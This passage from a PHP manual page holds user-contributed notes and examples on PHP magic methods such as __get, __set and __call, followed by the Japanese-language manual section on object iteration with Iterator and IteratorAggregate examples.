    public static function __callStatic($name, $params) {
        $value = constant("static::$name");
        if (!$value) {
            throw new \InvalidArgumentException(static::class . " can't be $name");
        }
        return new static($value);
    }

    public function __toString() {
        return $this->_value;
    }
}

class Season extends Enum {
    public const WINTER = 'winter';
    public const SPRING = 'spring';
    public const SUMMER = 'summer';
    public const AUTUMN = 'autumn';
}

$now = Season::AUTUMN(); // Autocomplete works as Season::AUTUMN exists
var_export($now->is(Season::AUTUMN)); // true
var_export("$now" === Season::AUTUMN); // true
var_export($now == Season::AUTUMN); // true
var_export($now == Season::SPRING); // false
echo "$now"; // autumn
justmyoponion at gmail dot com 05-Nov-2019 07:35
If you are not focused enough, then don't use it.
Otherwise it is very powerful and you can build very complex code that handle a lot of things like zend framework did.
pogregoire##live.fr 16-Sep-2016 04:17
It is important to understand that encapsulation can be very easily violated in PHP. for example :
class Object{

}

$Object = new Object();
$Objet->barbarianProperties  = 'boom';

var_dump($Objet);// object(Objet)#1 (1) { ["barbarianProperties"]=> string(7) "boom" }

Hence it is possible to add a propertie out form the class definition.
It is then a necessity in order to protect encapsulation to introduce __set() in the class :

class Objet{
    public function __set($name,$value){
        throw new Exception ('no');
    }
}
Anonymous 29-May-2016 10:13
First off all, if you read this, please upvote the first comment on this list that states that "overloading" is a bad term for this behaviour. Because it REALLY is a bad name. You're giving new definition to an already accepted IT-branch terminology.

Second, I concur with all criticism you will read about this functionality. Just as naming it "overloading", the functionality is also very bad practice. Please don't use this in a production environment. To be honest, avoid to use it at all. Especially if you are a beginner at PHP. It can make your code react very unexpectedly. In which case you MIGHT be learning invalid coding!

And last, because of __get, __set and __call the following code executes. Which is abnormal behaviour. And can cause a lot of problems/bugs.

<?php

class BadPractice {
  // Two real properties
  public $DontAllowVariableNameWithTypos = true;
  protected $Number = 0;
  // One private method
  private function veryPrivateMethod() { }
  // And three very magic methods that will make everything look inconsistent
  // with all you have ever learned about PHP.
  public function __get($n) {}
  public function __set($n, $v) {}
  public function __call($n, $v) {}
}

// Let's see our BadPractice in a production environment!
$UnexpectedBehaviour = new BadPractice;

// No syntax highlighting on most IDE's
$UnexpectedBehaviour->SynTaxHighlighting = false;

// No autocompletion on most IDE's
$UnexpectedBehaviour->AutoCompletion = false;

// Which will lead to problems waiting to happen
$UnexpectedBehaviour->DontAllowVariableNameWithTyphos = false; // see if below

// Get, Set and Call anything you want!
$UnexpectedBehaviour->EveryPosibleMethodCallAllowed(true, 'Why Not?');

// And sure, why not use the most illegal property names you can think off
$UnexpectedBehaviour->{'100%Illegal+Names'} = 'allowed';

// This Very confusing syntax seems to allow access to $Number but because of
// the lowered visibility it goes to __set()
$UnexpectedBehaviour->Number = 10;

// We can SEEM to increment it too! (that's really dynamic! :-) NULL++ LMAO
$UnexpectedBehaviour->Number++;

// this ofcourse outputs NULL (through __get) and not the PERHAPS expected 11
var_dump($UnexpectedBehaviour->Number);

// and sure, private method calls LOOK valid now!
// (this goes to __call, so no fatal error)
$UnexpectedBehaviour->veryPrivateMethod();

// Because the previous was __set to false, next expression is true
// if we didn't had __set, the previous assignment would have failed
// then you would have corrected the typho and this code will not have
// been executed. (This can really be a BIG PAIN)
if ($UnexpectedBehaviour->DontAllowVariableNameWithTypos) {
  // if this code block would have deleted a file, or do a deletion on
  // a database, you could really be VERY SAD for a long time!
  $UnexpectedBehaviour->executeStuffYouDontWantHere(true);
}
?>
qi at weiyu dot me 31-Dec-2015 05:59
I test those code:

<?php
class A {
        public function test () {
                static::who();
                A::who();
                self::who();
                $this->who();
        }

        public static function __callStatic($a, $b) {
                var_dump('A static');
        }

        public function __call($a, $b) {
                var_dump('A call');
        }
}

$a = new A;
$a->test();
?>

And the answer is
string(6) "A call"
string(6) "A call"
string(6) "A call"
string(6) "A call"

I think it means that __call will be called before __callStatic in an instance.
Anonymous 08-Apr-2015 03:34
Using magic methods, especially __get(), __set(), and __call() will effectively disable autocomplete in most IDEs (eg.: IntelliSense) for the affected classes.

To overcome this inconvenience, use phpDoc to let the IDE know about these magic methods and properties: @method, @property, @property-read, @property-write.

/**
 * @property-read name
 * @property-read price
 */
class MyClass
{
    private $properties = array('name' => 'IceFruit', 'price' => 2.49)

    public function __get($name)
    {
        return $this->properties($name);
    }
}
gabe at fijiwebdesign dot com 27-Nov-2014 11:33
Note that you can enable "overloading" on a class instance at runtime for an existing property by unset()ing that property.

eg:

<?php
class Test {

    public $property1;

    public function __get($name)
    {
        return "Get called for " . get_class($this) . "->\$$name \n";
    }

}
?>

The public property $property1 can be unset() so that it can be dynamically handled via __get().

<?php
$Test = new Test();
unset($Test->property1); // enable overloading
echo $Test->property1; // Get called for Test->$property1
?>

Useful if you want to proxy or lazy load properties yet want to have documentation and visibility in the code and debugging compared to __get(), __isset(), __set() on non-existent inaccessible properties.
cottton at i-stats dot net 13-Sep-2014 02:58
Actually you dont need __set ect imo.
You could use it to set (pre-defined) protected (and in "some" cases private) properties . But who wants that?
(test it by uncommenting private or protected)
(pastebin because long ...) => http://pastebin.com/By4gHrt5
Nanhe Kumar 17-Jan-2014 10:47
<?php
//How can implement __call function you understand better
class Employee {

    protected $_name;
    protected $_email;
    protected $_compony;

    public function __call($name, $arguments) {
        $action = substr($name, 0, 3);
        switch ($action) {
            case 'get':
                $property = '_' . strtolower(substr($name, 3));
                if(property_exists($this,$property)){
                    return $this->{$property};
                }else{
                    $trace = debug_backtrace();
                    trigger_error('Undefined property  ' . $name . ' in ' . $trace[0]['file'] . ' on line ' . $trace[0]['line'], E_USER_NOTICE);
                    return null;
                }
                break;
            case 'set':
                $property = '_' . strtolower(substr($name, 3));
                if(property_exists($this,$property)){
                    $this->{$property} = $arguments[0];
                }else{
                    $trace = debug_backtrace();
                    trigger_error('Undefined property  ' . $name . ' in ' . $trace[0]['file'] . ' on line ' . $trace[0]['line'], E_USER_NOTICE);
                    return null;
                }

                break;
            default :
                return FALSE;
        }
    }

}

$s = new Employee();
$s->setName('Nanhe Kumar');
$s->setEmail('nanhe.kumar@gmail.com');
echo $s->getName(); //Nanhe Kumar
echo $s->getEmail(); // nanhe.kumar@gmail.com
$s->setAge(10); //Notice: Undefined property setAge in
?>
theaceofthespade at gmail dot com 23-Mar-2012 09:35
A word of warning!  It may seem obvious, but remember, when deciding whether to use __get, __set, and __call as a way to access the data in your class (as opposed to hard-coding getters and setters), keep in mind that this will prevent any sort of autocomplete, highlighting, or documentation that your ide mite do.

Furthermore, it beyond personal preference when working with other people.  Even without an ide, it can be much easier to go through and look at hardcoded member and method definitions in code, than having to sift through code and piece together the method/member names that are assembled in __get and __set.

If you still decide to use __get and __set for everything in your class, be sure to include detailed comments and documenting, so that the people you are working with (or the people who inherit the code from you at a later date) don't have to waste time interpreting your code just to be able to use it.
dans at dansheps dot com 01-Aug-2011 08:38
Since this was getting me for a little bit, I figure I better pipe in here...

For nested calls to private/protected variables(probably functions too) what it does is call a __get()  on the first object, and if you return the nested object, it then calls a __get() on the nested object because, well it is protected as well.

EG:
<?php
class A
{
protected $B

public function __construct()
{
$this->B = new B();
}

public function __get($variable)
{
echo "Class A::Variable " . $variable . "\n\r";
$retval = $this->{$variable};
return $retval;
}
}

class B
{
protected $val

public function __construct()
{
$this->val = 1;
}

public function __get($variable)
{
echo "Class B::Variable " . $variable . "\n\r";
$retval = $this->{$variable};
return $retval;
}
}

$A = new A();

echo "Final Value: " . $A->B->val;
?>

That will return something like...

Class A::Variable B
Class B::Variable val
Final Value: 1

It seperates the calls into $A->B and $B->val

Hope this helps someone
Daniel Smith 23-May-2011 04:15
Be careful of __call in case you have a protected/private method. Doing this:

<?php
class TestMagicCallMethod {
    public function foo()
    {
        echo __METHOD__.PHP_EOL;
    }

    public function __call($method, $args)
    {
        echo __METHOD__.PHP_EOL;
        if(method_exists($this, $method))
        {
            $this->$method();
        }
    }

    protected function bar()
    {
        echo __METHOD__.PHP_EOL;
    }

    private function baz()
    {
        echo __METHOD__.PHP_EOL;
    }
}

$test    =    new TestMagicCallMethod();
$test->foo();
/**
 * Outputs:
 * TestMagicCallMethod::foo
 */

$test->bar();
/**
 * Outputs:
 * TestMagicCallMethod::__call
 * TestMagicCallMethod::bar
 */

$test->baz();
/**
 * Outputs:
 * TestMagicCallMethod::__call
 * TestMagicCallMethod::baz
 */
?>

..is probably not what you should be doing. Always make sure that the methods you call in __call are allowed as you probably dont want all the private/protected methods to be accessed by a typo or something.
jan dot machala at email dot cz 15-Apr-2011 03:47
Example of usage __call() to have implicit getters and setters

<?php
class Entity {
    public function __call($methodName, $args) {
        if (preg_match('~^(set|get)([A-Z])(.*)$~', $methodName, $matches)) {
            $property = strtolower($matches[2]) . $matches[3];
            if (!property_exists($this, $property)) {
                throw new MemberAccessException('Property ' . $property . ' not exists');
            }
            switch($matches[1]) {
                case 'set':
                    $this->checkArguments($args, 1, 1, $methodName);
                    return $this->set($property, $args[0]);
                case 'get':
                    $this->checkArguments($args, 0, 0, $methodName);
                    return $this->get($property);
                case 'default':
                    throw new MemberAccessException('Method ' . $methodName . ' not exists');
            }
        }
    }

    public function get($property) {
        return $this->$property;
    }

    public function set($property, $value) {
        $this->$property = $value;
        return $this;
    }

    protected function checkArguments(array $args, $min, $max, $methodName) {
        $argc = count($args);
        if ($argc < $min || $argc > $max) {
            throw new MemberAccessException('Method ' . $methodName . ' needs minimaly ' . $min . ' and maximaly ' . $max . ' arguments. ' . $argc . ' arguments given.');
        }
    }
}

class MemberAccessException extends Exception{}

class Foo extends Entity {
    protected $a;
}

$foo = new Foo();
$foo->setA('some'); // outputs some
echo $foo->getA();

class Bar extends Entity {
    protected $a;
    /**
     * Custom setter.
     */
    public function setA($a) {
        if (!preg_match('~^[0-9a-z]+$~i', $a)) {
            throw new MemberAccessException('A can be only alphanumerical');
        }
        $this->a = $a;
        return $this;
    }
}

$bar = new Bar();
$bar->setA('abc123'); // ok
$bar->setA('[]/*@...'); // throws exception
?>
php at lanar dot com dot au 12-Jun-2010 05:39
Note that __isset is not called on chained checks.
If isset( $x->a->b ) is executed where $x is a class with __isset() declared, __isset() is not called.

<?php

class demo
{
    var $id ;
    function __construct( $id = 'who knows' )
    {
        $this->id = $id ;
    }
    function __get( $prop )
    {
        echo "\n", __FILE__, ':', __LINE__, ' ', __METHOD__, '(', $prop, ') instance ', $this->id ;
        return new demo( 'autocreated' ) ; // return a class anyway for the demo
    }
    function __isset( $prop )
    {
        echo "\n", __FILE__, ':', __LINE__, ' ', __METHOD__, '(', $prop, ') instance ', $this->id ;
        return FALSE ;
    }
}
$x = new demo( 'demo' ) ;
echo "\n", 'Calls __isset() on demo as expected when executing isset( $x->a )' ;
$ret = isset( $x->a ) ;
echo "\n", 'Calls __get() on demo without call to __isset()  when executing isset( $x->a->b )' ;
$ret = isset( $x->a->b ) ;
?>

Outputs

Calls __isset() on demo as expected when executing isset( $x->a )
C:\htdocs\test.php:31 demo::__isset(a) instance demo
Calls __get() on demo without call to __isset()  when executing isset( $x->a->b )
C:\htdocs\test.php:26 demo::__get(a) instance demo
C:\htdocs\test.php:31 demo::__isset(b) instance autocreated
navarr at gtaero dot net 15-May-2010 01:25
If you want to make it work more naturally for arrays $obj->variable[] etc you'll need to return __get by reference.

<?php
class Variables
{
        public function __construct()
        {
                if(session_id() === "")
                {
                        session_start();
                }
        }
        public function __set($name,$value)
        {
                $_SESSION["Variables"][$name] = $value;
        }
        public function &__get($name)
        {
                return $_SESSION["Variables"][$name];
        }
        public function __isset($name)
        {
                return isset($_SESSION["Variables"][$name]);
        }
}
?>
zzzzbov 26-Apr-2010 12:30
I've written a brief, generic function for __get() and __set() that works well implementing accessor and mutator functions.

This allows the programmer to use implicit accessor and mutator methods when working with attribute data.

<?php

class MyClass
{
    private $degrees

    public function __get($name)
    {
        $fn_name = 'get_' . $name;
        if (method_exists($this, $fn_name))
        {
            return $this->$fn_name();
        }
        else
        {
            return null;
        }
    }

    public function __set($name, $value)
    {
        $fn_name = 'set_' . $name;
        if (method_exists($this, $fn_name))
        {
            $this->$fn_name($value);
        }
    }

    private function get_degrees()
    {
        return $this->degrees;
    }

    private function set_degrees($value)
    {
        $this->degrees = $value % 360;
        if ($degrees < 0) $this->degrees += 360;
    }
}

?>
strata_ranger at hotmail dot com 07-Oct-2009 09:56
Combining two things noted previously:

1 - Unsetting an object member removes it from the object completely, subsequent uses of that member will be handled by magic methods.
2 - PHP will not recursively call one magic method from within itself (at least for the same $name).

This means that if an object member has been unset(), it IS possible to re-declare that object member (as public) by creating it within your object's __set() method, like this:

<?php
class Foo
{
  function __set($name, $value)
  {
    // Add a new (public) member to this object.
    // This works because __set() will not recursively call itself.
    $this->$name= $value;
  }
}

$foo = new Foo();

// $foo has zero members at this point
var_dump($foo);

// __set() will be called here
$foo->bar = 'something'; // Calls __set()

// $foo now contains one member
var_dump($foo);

// Won't call __set() because 'bar' is now declared
$foo->bar = 'other thing';

?>

Also be mindful that if you want to break a reference involving an object member without triggering magic functionality, DO NOT unset() the object member directly.  Instead use =& to bind the object member to any convenient null variable.
daevid at daevid dot com 14-May-2009 09:16
Here's a handy little routine to suggest properties you're trying to set that don't exist. For example:

Attempted to __get() non-existant property/variable 'operator_id' in class 'User'.

checking for operator and suggesting the following:

    * id_operator
    * operator_name
    * operator_code

enjoy.

<?php
    /**
     * Suggests alternative properties should a __get() or __set() fail
     *
     * @param     string $property
     * @return string
     * @author Daevid Vincent [daevid@daevid.com]
     * @date    05/12/09
     * @see        __get(), __set(), __call()
     */
    public function suggest_alternative($property)
    {
        $parts = explode('_',$property);
        foreach($parts as $i => $p) if ($p == '_' || $p == 'id') unset($parts[$i]);

        echo 'checking for <b>'.implode(', ',$parts)."</b> and suggesting the following:<br/>\n";

        echo "<ul>";
        foreach($this as $key => $value)
            foreach($parts as $p)
                if (stripos($key, $p) !== false) print '<li>'.$key."</li>\n";
        echo "</ul>";
    }

just put it in your __get() or __set() like so:

    public function __get($property)
    {
            echo "<p><font color='#ff0000'>Attempted to __get() non-existant property/variable '".$property."' in class '".$this->get_class_name()."'.</font><p>\n";
            $this->suggest_alternative($property);
            exit;
    }
?>
Ant P. 21-Dec-2008 08:40
Be extra careful when using __call():  if you typo a function call somewhere it won't trigger an undefined function error, but get passed to __call() instead, possibly causing all sorts of bizarre side effects.
In versions before 5.3 without __callStatic, static calls to nonexistent functions also fall through to __call!
This caused me hours of confusion, hopefully this comment will save someone else from the same.
strafvollzugsbeamter at gmx dot de 16-Jul-2008 12:57
The following works on my installation (5.2.6 / Windows):
<?php
class G
{
    private $_p = array();

    public function __isset($k)
    {
        return isset($this->_p[$k]);
    }

    public function __get($k)
    {
        $v = NULL;
        if (array_key_exists($k, $this->_p))
        {
            $v = $this->_p[$k];
        }
        else
        {
            $v = $this->{$k} = $this;
        }

        return $v;
    }

    public function __set($k, $v)
    {
        $this->_p[$k] = $v;

        return $this;
    }
}

$s = new G();
$s->A->B->C = 'FOO';
$s->X->Y->Z = array ('BAR');

if (isset($s->A->B->C))
{
    print($s->A->B->C);
}
else
{
    print('A->B->C is NOT set');
}

if (isset($s->X->Y->Z))
{
    print_r($s->X->Y->Z);
}
else
{
    print('X->Y->Z is NOT set');
}

// prints: FOOArray ( [0] => BAR )
?>

... have fun and  ...
timshaw at mail dot NOSPAMusa dot com 28-Jan-2008 09:47
The __get overload method will be called on a declared public member of an object if that member has been unset.

<?php
class c {
  public $p ;
  public function __get($name) { return "__get of $name" ; }
}

$c = new c ;
echo $c->p, "\n" ;    // declared public member value is empty
$c->p = 5 ;
echo $c->p, "\n" ;    // declared public member value is 5
unset($c->p) ;
echo $c->p, "\n" ;    // after unset, value is "__get of p"
?>
jj dhoT maturana aht gmail dhot com 25-Jan-2008 04:16
There isn't some way to overload a method when it's called as a reflection method:

<?php

class TestClass {
  function __call($method, $args) {
    echo "Method {$method} called with args: " . print_r($args, TRUE);
  }
}

$class = new ReflectionClass("TestClass");
$method = $class->getMethod("myMehtod");

//Fatal error:  Uncaught exception 'ReflectionException' with message 'Method myMethod' does not exist'

?>

Juan.
matthijs at yourmediafactory dot com 16-Dec-2007 11:09
While PHP does not support true overloading natively, I have to disagree with those that state this can't be achieved trough __call.

Yes, it's not pretty but it is definately possible to overload a member based on the type of its argument. An example:
<?php
class A {

  public function __call ($member, $arguments) {
    if(is_object($arguments[0]))
      $member = $member . 'Object';
    if(is_array($arguments[0]))
      $member = $member . 'Array';
    $this -> $member($arguments);
  }

  private function testArray () {
    echo "Array.";
  }

  private function testObject () {
    echo "Object.";
  }
}

class B {
}

$class = new A;
$class -> test(array()); // echo's 'Array.'
$class -> test(new B); // echo's 'Object.'
?>

Of course, the use of this is questionable (I have never needed it myself, but then again, I only have a very minimalistic C++ & JAVA background). However, using this general principle and optionally building forth on other suggestions a 'form' of overloading is definately possible, provided you have some strict naming conventions in your functions.

It would of course become a LOT easier once PHP'd let you declare the same member several times but with different arguments, since if you combine that with the reflection class 'real' overloading comes into the grasp of a good OO programmer. Lets keep our fingers crossed!
php_is_painful at world dot real 19-Oct-2007 07:49
This is a misuse of the term overloading. This article should call this technique "interpreter hooks".
egingell at sisna dot com 15-Sep-2007 05:12
Small vocabulary note: This is *not* "overloading", this is "overriding".

Overloading: Declaring a function multiple times with a different set of parameters like this:
<?php

function foo($a) {
    return $a;
}

function foo($a, $b) {
    return $a + $b;
}

echo foo(5); // Prints "5"
echo foo(5, 2); // Prints "7"

?>

Overriding: Replacing the parent class's method(s) with a new method by redeclaring it like this:
<?php

class foo {
    function new($args) {
        // Do something.
    }
}

class bar extends foo {
    function new($args) {
        // Do something different.
    }
}

?>
php at sleep is the enemy dot co dot uk 23-Jul-2007 07:23
Just to reinforce and elaborate on what DevilDude at darkmaker dot com said way down there on 22-Sep-2004 07:57.

The recursion detection feature can prove especially perilous when using __set. When PHP comes across a statement that would usually call __set but would lead to recursion, rather than firing off a warning or simply not executing the statement it will act as though there is no __set method defined at all. The default behaviour in this instance is to dynamically add the specified property to the object thus breaking the desired functionality of all further calls to __set or __get for that property.

Example:

<?php

class TestClass{

    public $values = array();

    public function __get($name){
        return $this->values[$name];
    }

    public function __set($name, $value){
        $this->values[$name] = $value;
        $this->validate($name);
    }

    public function validate($name){
        /*
        __get will be called on the following line
        but as soon as we attempt to call __set
        again PHP will refuse and simply add a
        property called $name to $this
        */
        $this->$name = trim($this->$name);
    }
}

$tc = new TestClass();

$tc->foo = 'bar';
$tc->values['foo'] = 'boing';

echo '$tc->foo == ' . $tc->foo . '<br>';
echo '$tc ' . (property_exists($tc, 'foo') ? 'now has' : 'still does not have') . ' a property called "foo"<br>';

/*
OUPUTS:
$tc->foo == bar
$tc now has a property called "foo"
*/

?>
Adeel Khan 10-Jul-2007 01:18
Observe:

<?php
class Foo {
    function __call($m, $a) {
        die($m);
    }
}

$foo = new Foo;
print $foo->{'wow!'}();

// outputs 'wow!'
?>

This method allows you to call functions with invalid characters.
alexandre at nospam dot gaigalas dot net 07-Jul-2007 10:59
PHP 5.2.1

Its possible to call magic methods with invalid names using variable method/property names:

<?php

class foo
{
    function __get($n)
    {
        print_r($n);
    }
    function __call($m, $a)
    {
        print_r($m);
    }
}

$test = new foo;
$varname = 'invalid,variable+name';
$test->$varname;
$test->$varname();

?>

I just don't know if it is a bug or a feature :)
jstubbs at work-at dot co dot jp 02-Sep-2006 09:12
<?php $myclass->foo['bar'] = 'baz'; ?>

When overriding __get and __set, the above code can work (as expected) but it depends on your __get implementation rather than your __set. In fact, __set is never called with the above code. It appears that PHP (at least as of 5.1) uses a reference to whatever was returned by __get. To be more verbose, the above code is essentially identical to:

<?php
$tmp_array = &$myclass->foo;
$tmp_array['bar'] = 'baz';
unset($tmp_array);
?>

Therefore, the above won't do anything if your __get implementation resembles this:

<?php
function __get($name) {
    return array_key_exists($name, $this->values)
        ? $this->values[$name] : null;
}
?>

You will actually need to set the value in __get and return that, as in the following code:

<?php
function __get($name) {
    if (!array_key_exists($name, $this->values))
        $this->values[$name] = null;
    return $this->values[$name];
}
?>
derek-php at seysol dot com 10-Feb-2006 12:08
Please note that PHP5 currently doesn't support __call return-by-reference (see PHP Bug #30959).

Example Code:

<?php

    class test {
        public function &__call($method, $params) {

            // Return a reference to var2
            return $GLOBALS['var2'];
        }
        public function &actual() {

            // Return a reference to var1
            return $GLOBALS['var1'];
        }
    }

    $obj = new test;
    $GLOBALS['var1'] = 0;
    $GLOBALS['var2'] = 0;

    $ref1 =& $obj->actual();
    $GLOBALS['var1']++;

    echo "Actual function returns: $ref1 which should be equal to " . $GLOBALS['var1'] . "<br/>\n";

    $ref2 =& $obj->overloaded();
    $GLOBALS['var2']++;

    echo "Overloaded function returns: $ref2 which should be equal to " . $GLOBALS['var2'] . "<br/>\n";

?>
PHP at jyopp dotKomm 22-Dec-2005 11:01
Here's a useful class for logging function calls.  It stores a sequence of calls and arguments which can then be applied to objects later.  This can be used to script common sequences of operations, or to make "pluggable" operation sequences in header files that can be replayed on objects later.

If it is instantiated with an object to shadow, it behaves as a mediator and executes the calls on this object as they come in, passing back the values from the execution.

This is a very general implementation; it should be changed if error codes or exceptions need to be handled during the Replay process.
<?php
class MethodCallLog {
    private $callLog = array();
    private $object;

    public function __construct($object = null) {
        $this->object = $object;
    }
    public function __call($m, $a) {
        $this->callLog[] = array($m, $a);
        if ($this->object) return call_user_func_array(array(&$this->object,$m),$a);
        return true;
    }
    public function Replay(&$object) {
        foreach ($this->callLog as $c) {
            call_user_func_array(array(&$object,$c[0]), $c[1]);
        }
    }
    public function GetEntries() {
        $rVal = array();
        foreach ($this->callLog as $c) {
            $rVal[] = "$c[0](".implode(', ', $c[1]).");";
        }
        return $rVal;
    }
    public function Clear() {
        $this->callLog = array();
    }
}

$log = new MethodCallLog();
$log->Method1();
$log->Method2("Value");
$log->Method1($a, $b, $c);
// Execute these method calls on a set of objects...
foreach ($array as $o) $log->Replay($o);
?>
seufert at gmail dot com 01-Nov-2005 04:25
This allows you to seeminly dynamically overload objects using plugins.

<?php

class standardModule{}

class standardPlugModule extends standardModule
{
  static $plugptrs;
  public $var;
  static function plugAdd($name, $mode, $ptr)
  {
    standardPlugModule::$plugptrs[$name] = $ptr;
  }
  function __call($fname, $fargs)
  { print "You called __call($fname)\n";
    $func = standardPlugModule::$plugptrs[$fname];
    $r = call_user_func_array($func, array_merge(array($this),$fargs));
    print "Done: __call($fname)\n";
    return $r;
  }
  function dumpplugptrs() {var_dump(standardPlugModule::$plugptrs); }
}

class a extends standardPlugModule
{ function text() { return "Text"; } }
//Class P contained within a seperate file thats included
class p
{ static function plugin1($mthis, $r)
  { print "You called p::plugin1\n";
    print_r($mthis);
    print_r($r);
  }
} a::plugAdd('callme', 0, array('p','plugin1'));

//Class P contained within a seperate file thats included
class p2
{ static function plugin2($mthis, $r)
  { print "You called p2::plugin2\n";
    $mthis->callme($r);
  }
} a::plugAdd('callme2', 0, array('p2','plugin2'));

$t = new a();
$testr = array(1,4,9,16);
print $t->text()."\n";
$t->callme2($testr);
//$t->dumpplugptrs();

?>

Will result in:
----------
Text
You called __call(callme2)
You called p2::plugin2
You called __call(callme)
You called p::plugin1
a Object
(
    [var] =>
)
Array
(
    [0] => 1
    [1] => 4
    [2] => 9
    [3] => 16
)
Done: __call(callme)
Done: __call(callme2)
----------

This also clears up a fact that you can nest __call() functions, you could use this to get around the limits to __get() not being able to be called recursively.
NOTE: getter cannot call getter 04-Aug-2005 12:37
By Design (http://bugs.php.net/bug.php?id=33998) you cannot call a getter from a getter or any function triggered by a getter:

<?php
class test
{
    protected $_a = 6;

    function __get($key) {
        if($key == 'stuff') {
            return $this->stuff();
        } else if($key == 'a') {
            return $this->_a;
        }
    }

    function stuff()
    {
        return array('random' => 'key', 'using_getter' => 10 * $this->a);
    }
}

$test = new test();
print 'this should be 60: '.$test->stuff['using_getter'].'<br/>';       // prints "this should be 60: 0"
// [[ Undefined property:  test::$a ]] on /var/www/html/test.php logged.
print 'this should be 6: '.$test->a.'<br/>';                            // prints "this should be 6: 6"
?>
Marius 02-May-2005 02:15
for anyone who's thinking about traversing some variable tree
by using __get() and __set(). i tried to do this and found one
problem: you can handle couple of __get() in a row by returning
an object which can handle consequential __get(), but you can't
handle __get() and __set() that way.
i.e. if you want to:
<?php
    print($obj->val1->val2->val3); // three __get() calls
?> - this will work,
but if you want to:
<?php
    $obj->val1->val2 = $val; // one __get() and one __set() call
?> - this will fail with message:
"Fatal error: Cannot access undefined property for object with
 overloaded property access"
however if you don't mix __get() and __set() in one expression,
it will work:
<?php
    $obj->val1 = $val; // only one __set() call
    $val2 = $obj->val1->val2; // two __get() calls
    $val2->val3 = $val; // one __set() call
?>

as you can see you can split __get() and __set() parts of
expression into two expressions to make it work.

by the way, this seems like a bug to me, will have to report it.
ryo at shadowlair dot info 22-Mar-2005 10:22
Keep in mind that when your class has a __call() function, it will be used when PHP calls some other magic functions. This can lead to unexpected errors:

<?php
class TestClass {
    public $someVar;

    public function __call($name, $args) {
        // handle the overloaded functions we know...
        // [...]

        // raise an error if the function is unknown, just like PHP would
        trigger_error(sprintf('Call to undefined function: %s::%s().', get_class($this), $name), E_USER_ERROR);
    }
}

$obj = new TestClass();
$obj->someVar = 'some value';

echo $obj; //Fatal error: Call to undefined function: TestClass::__tostring().
$serializedObj = serialize($obj); // Fatal error: Call to undefined function: TestClass::__sleep().
$unserializedObj = unserialize($someSerializedTestClassObject); // Fatal error: Call to undefined function: TestClass::__wakeup().
?>
DevilDude at darkmaker dot com 22-Sep-2004 07:57
Php 5 has a simple recursion system that stops you from using overloading within an overloading function, this means you cannot get an overloaded variable within the __get method, or within any functions/methods called by the _get method, you can however call __get manualy within itself to do the same thing.


オブジェクトの反復処理

PHP は、たとえば foreach 命令などによる反復処理を可能とするように、 オブジェクトを定義する手段を提供します。 デフォルトで、 全ての アクセス権限がある プロパティは、反復処理に使用することができます。

例1 単純なオブジェクトの反復の例

<?php
class MyClass
{
    public $var1 = 'value 1';
    public $var2 = 'value 2';
    public $var3 = 'value 3';

    protected $protected = 'protected var';
    private   $private   = 'private var';

    function iterateVisible() {
       echo "MyClass::iterateVisible:\n";
       foreach ($this as $key => $value) {
           print "$key => $value\n";
       }
    }
}

$class = new MyClass();

foreach($class as $key => $value) {
    print "$key => $value\n";
}
echo "\n";

$class->iterateVisible();

?>

上の例の出力は以下となります。

var1 => value 1
var2 => value 2
var3 => value 3

MyClass::iterateVisible:
var1 => value 1
var2 => value 2
var3 => value 3
protected => protected var
private => private var

出力からわかるように、 foreach による反復処理がすべての アクセス権がある プロパティについて行われています。

さらに、Iterator インターフェイス も実装できます。 これを実装すれば、オブジェクトの反復処理の方法や処理中に取得できる値を決めることができます。

例2 Iteratorを実装するオブジェクトの反復処理

<?php
class MyIterator implements Iterator
{
    private $var = array();

    public function __construct($array)
    {
        if (is_array($array)) {
            $this->var = $array;
        }
    }

    public function rewind()
    {
        echo "rewinding\n";
        reset($this->var);
    }

    public function current()
    {
        $var = current($this->var);
        echo "current: $var\n";
        return $var;
    }

    public function key()
    {
        $var = key($this->var);
        echo "key: $var\n";
        return $var;
    }

    public function next()
    {
        $var = next($this->var);
        echo "next: $var\n";
        return $var;
    }

    public function valid()
    {
        $key = key($this->var);
        $var = ($key !== NULL && $key !== FALSE);
        echo "valid: $var\n";
        return $var;
    }

}

$values = array(1,2,3);
$it = new MyIterator($values);

foreach ($it as $a => $b) {
    print "$a: $b\n";
}
?>

上の例の出力は以下となります。

rewinding
valid: 1
current: 1
key: 0
0: 1
next: 2
valid: 1
current: 2
key: 1
1: 2
next: 3
valid: 1
current: 3
key: 2
2: 3
next:
valid:

Iterator のすべてのメソッドを実装するかわりに、 IteratorAggregate インターフェイス を使うこともできます。 IteratorAggregate で実装する必要があるメソッドは IteratorAggregate::getIterator() だけで、 このメソッドは Iterator を実装したクラスのインスタンスを返す必要があります。

例3 IteratorAggregateを実装するオブジェクトの反復処理

<?php
class MyCollection implements IteratorAggregate
{
    private $items = array();
    private $count = 0;

    // Required definition of interface IteratorAggregate
    public function getIterator() {
        return new MyIterator($this->items);
    }

    public function add($value) {
        $this->items[$this->count++] = $value;
    }
}

$coll = new MyCollection();
$coll->add('value 1');
$coll->add('value 2');
$coll->add('value 3');

foreach ($coll as $key => $val) {
    echo "key/value: [$key -> $val]\n\n";
}
?>

上の例の出力は以下となります。

rewinding
current: value 1
valid: 1
current: value 1
key: 0
key/value: [0 -> value 1]

next: value 2
current: value 2
valid: 1
current: value 2
key: 1
key/value: [1 -> value 2]

next: value 3
current: value 3
valid: 1
current: value 3
key: 2
key/value: [2 -> value 3]

next:
current:
valid:

注意:

より詳細なイテレータの例については、 SPL 拡張モジュール を参照ください。

注意:

ジェネレータ も、 イテレータを定義する方法の一つとして使えます。

User Contributed Notes

celsowm 19-Jun-2019 12:51
I've created a dinamic version of grzeniufication code to allow un-, serialize more than one property:

<?php

class Person implements \Serializable {

    public $id;
    public $name;
    public $birthDate;
    public $surname;

    public function serialize() {
        return serialize((array) $this);
    }

    public function unserialize($serialized): void {

        foreach (unserialize($serialized) as $p => $v) {
            $this->{$p} = $v;
        }
    }

}
Anonymous 23-Feb-2018 03:03
szerintetek ez normalis, hogy objektumon vegigiteralhatsz???
php dot net dot nsp at cvogt dot org 01-Jul-2012 10:25
there is still an open bug about using current() etc. with iterators
https://bugs.php.net/bug.php?id=49369
jille at hexon dot cx 15-May-2012 12:29
Please note that if you implement your iterator this way instead of with an IteratorAggregate you can not nest foreach-loops. This is because when the inner-loop is done the cursor is beyond the last element, then the outer-loop asks for the next element and finds the cursor beyond the last element as the innter-loop left it there.

<?php
 // Wont work!
foreach($collection as $a) {
  foreach($collection as $b) {
    var_dump($a->someFunc($b));
  }
}
?>
hlegius at gmail dot com 15-Oct-2008 05:06
